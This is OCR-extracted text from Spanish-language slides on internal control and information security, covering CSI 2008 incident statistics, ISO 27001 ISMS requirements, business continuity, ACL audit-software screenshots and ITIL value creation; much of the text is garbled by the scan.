(2008 CSI Computer Crime and Security Survey, 433 encuestas) ..com-[ U‘i |llt8l’llll

Hacia una Cultura del Control”

Denial of service

Laptop theft 49% 48% 47% 50% 42%
Telecom fraud 10% 10% 8% 5% 5%
Unauthorized access 37% 32% 32% 25% 29%
Virus 78% 74% 65% 52% 50%
Financial fraud 8% 7% 9% 12% 12%
Insider abuse 59% 48% 42% 59% 44%
System penetration 17% 14% 15% 13% 13%
Sabotage 5% 2% 3% 4% 2%
Theft/loss of proprietary info  10% 9% 9% 8% 9%
from mobile devices 4%
from all other sources 5%
Abuse of wireless network 15% 16% 14% 17% 14%
Web site defacement 7% 5% 6% 1[}%m'.6% . &

co ULTING
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Antecedentes

Parbes
Interesadas:

Stakeholders
Clientes
Proveedores
Usuarios

Accionistas
Socios
Otros

Requisitos y
Expectativas
para la
Seguridad
de la
Informacion

Establecimiento
del SGSI

Implementacion Mejora Continua
del SG51 del SGSI

Monitorizacion y
Revision del SGSI

“Encuentro
Intt‘f ria cional de
Em rol Interno

acla ur -:' _ultura del ‘\_ontro

Partes
Interesadas:

Stakeholders
Clientes
Proveedores
Usuarios
Accionistas
Socios

Otros

Seguridad
de la
Informacion
Gestionada

-

~a
ADVIS Y o
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ISO 27001

Clausula

“Encuentro
Internacional de
Control Interno

"Hacia una L,u| ura del Control

Sistema de gestion de

Requisito

Cumplimiento

4 seguridad de informacion
La organizacidn debe establecer, implementar, operar, monitorear, revisar,
mantener y mejorar un SGS| dentro del contexto global de las actividades de [Modelo de operacion

41 R - negocio y las fases del riesgo dentro de |a organizacian. Caracterizaciones

. equerimientos generales .
Recursos para la operacidn de los procesos del

Para el propdsito de este estandar internacional el proceso esta basado en  [SGSI
el modelo PHVA

42 Establecimiento y gestion del

SGSI
4.21 Establecer el SGSI La organizacidn debe hacer lo siguiente:

a) Definir el alcance y limites del SGSI en términos de las caracteristicas del
negaocio, la organizacidn, su ubicacian, sus activas y tecnologia, incluyendo
detalles de la justificacidn de cualquier exclusion del alcance.

Declaracion de aplicabilidad (Documento:
SOA_ISO17799_2005.xls)

b) Definir una politica del SGSI en términos de las caracteristicas del
negacio, la organizacidn, su ubicacidn y tecnologia.

Politica de seguridad de informacidn
{Documentos: POLITICA - DOC 5.1.doc y
Lineamientos_de_seguridad_de_informacion.doc)

c) Definir un enfoque hacia la valoracién del riesgo: 1) Identificar la
metodologia para la valoracion del riesgo que se ajuste al SGSI, a los
requerimientos legales y a la seguridad del negocio. 2) definir criterios para
aceptar los riesgos e identificar niveles de riesgo aceptables.

Procedimiento desarrolado por la organizacion.
Debe ser ajustado

d) ldentificar los riesgos: 1) ldentificar los activos dentro del alcance del
SGSl y los propietarios de estos activos. 2) Identificar las amenazas de
estos activos. 3) ldentificar las vulnerabilidades que podrian ser
aprovechadas por las amenazas. 4) ldentificar el impacto que la pérdida de
confidencialidad, integridad y disponibilidad pueden tener sobre los activos.

{Documento: PROCEDIMIENTO - DOC 4.4 -
Evaluacidn de riesgos.doc)

CORSULTING
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especifico del ISO 27001

“Encuentro

definidas en el donilllﬁtltt?t:[hillalde

rol Interno

el Contro

Integridad

|_'dCId una L,u tura Ce
Gestion de litica d Organizacion de Gestion de
Continuidad de |—| Conformidad — P° 't'{_?j : — Seguridad de la — Activos de
Negocio Segurida Informacion Informacion
: Disponibilidad Confidencialidad
Gestion de . Seguridad
Incidentes de : Informacion Ligada al
Seguridad Personal

No repudio

Adquisicion, Desarrollo
vy Mantenimiento de
Sistemas de Informacion

Control de

AcCcesos

Gestion de

Operaciones y
Comunicaciones

Seguridad Fisica y
del Entorno

ADVIS [~
(o
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PROCESOS
DE NEGOCIO
FUNCIONANDO

Planeacién de la Contingencia

Evento de EJECUCION DEL PLAN DE
Emergencia CONTINGENCIA

GESTION DEL RIESGO

Implementacidn del
Control de Seguridad

ADVIS [~
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CONSULTING



m Comité Interinstitucional de Control Interno e rE n G [-l' LJT’ nt ro
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Actividades proactivas y preventivas ORntl U‘l |llt8l’llll
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: , < : -
Desplazamiento del Paradigma > Pensamiento Tradicional

Business Continuity Management B

Evento DISPONIBILIDAD CONFIABILIDAD
__ Enterprise High Service Level Management -
Servicio Availability - EHA SLM
Alcanzar y mantener Administrar y controlar
niveles de disponibilidad efectivamente la
- de Tl acordados en la infraestructura de Tl para
Objetivo o . L
Organizacion mejorar la confiabilidad
operacional

Pro — activo y Preventivo
Enfoque (ESTRATEGICO)

TECNOLOGIA PROCESOS PERSONAS
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Simulacion paralela

29/08/2011

“Encuentro
Internacional ge
Control Interno

"Hacia una Cultura del Control”

l DATOS REALES
-

EMTRADA, s  ENTRADA
PROCESO PROCESO
Y Y
aALIDA, sALIDA,

ANALISIS

!

INFORME

)

v
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Comité Interinstitucional de Control Intermno

=l Panorama [-_|IE||E| EH Vista: Default_View [Archive de datos: Inventory.fil]

a’( = m Definic, archivos entrada) . -
o i Ld Ap_Trans = | Product | Product Location Product Product CA%
; Wi o Number ‘class Description Status PRI
= + 1% Badfie
i i ﬁ Customer 070104347 EEIT | |LATEX SEMI-GLOSS ORANGE A
* t} Do 0701043597 |07 0B |LATEX SEMIGLODSS CARAMELiA
= + {:} Dept Q70104177 iI]i" 06 |LATEX SEMIGLOSS LILAC |A
+ {} Empmast Q70104677 ;EI? 06 |LATEX SEMIGLOSS APRICOT A
S + E Invvenkory 070104657 |07 |06 |LATEX SEMIGLOSS PINK |A
51} Payrol 070104327107 (06 |LATEXSEM-GLOSSYELLOW A |
a’ + ﬁ} Sales_Reps | 070104377 |07 0& LATEX SEMI-GLOSS GREEM (A
o 4 ﬁ} Trans_ Aa | 030414313 |03 03 _MI:_FRIC TOOL SET 38" DR A
L B Z} vendar I | 030414283 03 03 _MEF_FEQ SOCKET EET 11 PC A
% : [} work_Depts L i_1__i_] || 030412553 |03 03 |6 PC OPEMN END WREMNCH BE |A
¥ ﬁ Vickac - | 11 030412753 |03 |03 |6 PC BOX ENDWRENCH SET A
030412903 |03 03 8 PC METRIC HEX KEYS 1A
cﬁ . Espacios de trabajo
% B Indesxar
hrchivo log C:\ACL Data‘\Archivos de datos del libro de trabajo‘\Workbook.LOG abie:
@ OPEN Inwentory
14 campos activados =
hbriendo nombre de archivo Inventory.fil como dado en el formato.
< - B3 F 3l [ H -
1
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Herramientas

log de comandos
Ultimo resultado - M

x v |

FEX
L

@ GAPS ON No_factura ERRORLIMIT 10 TO SCREEN PRESORT
Preordenamiento de datos

Pagina ... L

Ceeado con ACL por: ACL for Windows Workbook

Z2/06/2004 10:43:56

*#%* Se han decectado
*®*% Se han detectado
#8% S3= han detectado
#¢ han detectade 0
Se han detectado ©

faltantes entre lO0Z y 1004
faltantes entre 1010 % 1012
faltantez entre 1015 v 1017
errores en la secuencia de dates

[ Vista: Vista_predeterminada [Archivo de datos: Limite de credito.FIL]
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C Dats yeu can Init Aesslls pou can see.

Q lll [ Mo |Mombre | Diraccion Limite credito| Pl
EE | 210 Andres Torres  |Calle 68 Mo. 25 -96 1000000/ a
E 2 11312 [Cafam Kr114 No. 147 b 15 500000 —
3 | 256 | Surtimax | Diagonal 20 Mo, 35-40 360000 | —
£ i (381 |Olimpica  Calle 8 Mo. 25-98 300000
5 (235 |Carulla  |Kr2oNo 147017 1500000/
Ei [i] || 369 |Bodegon | Calle 30 Mo, 72-47 IEIEI!]DDI]E
BT 1396 | Mercamas 'Kr107 No.147 b 18 950000 |
G 1) == Fin del archiva ==
Aa
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Creacion de valor de los sistemas de info'lmﬂa'-gl‘lnternn

Desempeno soportado?

Restricciones removidas?

Suficiente disponibilidad?
Suficiente capacidad?
Suficiente continuidad?

Suficiente seguridad?

UTILIDAD

OR

AND

GARANTIA

"Hacia una Cultura del Control”

Ajuste pare el
proposito?

AND Creacion de valor

Ajuste para el
usor

ITIL Service Strategy, v3
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Luis Hernando Usuga: lusuga@advisory-consulting.com

Carlos Mario Duque (lIAP): cmduque@udea.edu.co
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